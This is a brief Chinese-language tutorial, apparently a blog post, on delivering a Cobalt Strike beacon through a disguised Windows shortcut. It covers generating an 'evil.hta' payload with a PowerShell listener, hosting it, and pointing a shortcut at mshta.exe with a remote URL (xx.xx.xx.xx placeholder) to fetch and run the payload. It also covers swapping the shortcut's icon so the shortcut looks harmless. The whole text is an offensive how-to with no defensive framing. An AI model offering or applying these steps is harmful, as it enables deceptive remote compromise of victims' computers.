利用快捷方式-LNK-上线CS

步骤:
1、生成：Attacks -> Packages -> Html Application
2、上传：Attacks——>Web Drive by——>Host file
3、执行：C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext
4、伪装：
-创建快捷方式
-生成HTA并上传
-属性更改目标执行
-属性更改图标伪装

这里会用到windows中的mshta,用于执行hta文件

mshta.exe是微软Windows操作系统相关程序，英文全称Microsoft HTML Application，可翻译为微软超文本标记语言应用，用于执行.HTA文件

下面进行演示

打开已经配置好的CS

1、生成：Attacks -> Packages -> Html Application

选择设置的监听器-power shell

生成evil.hta

 

2、上传：Attacks——>Web Drive by——>Host file

复制生成的利用文件网址

 

3.创建快捷方式

4.执行：C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext

5.伪装(自行拓展，不做演示)

-创建快捷方式

-生成HTA并上传

-属性更改目标执行

-属性更改图标伪装(自行扩展)

点击快捷方式-快捷方式成功上线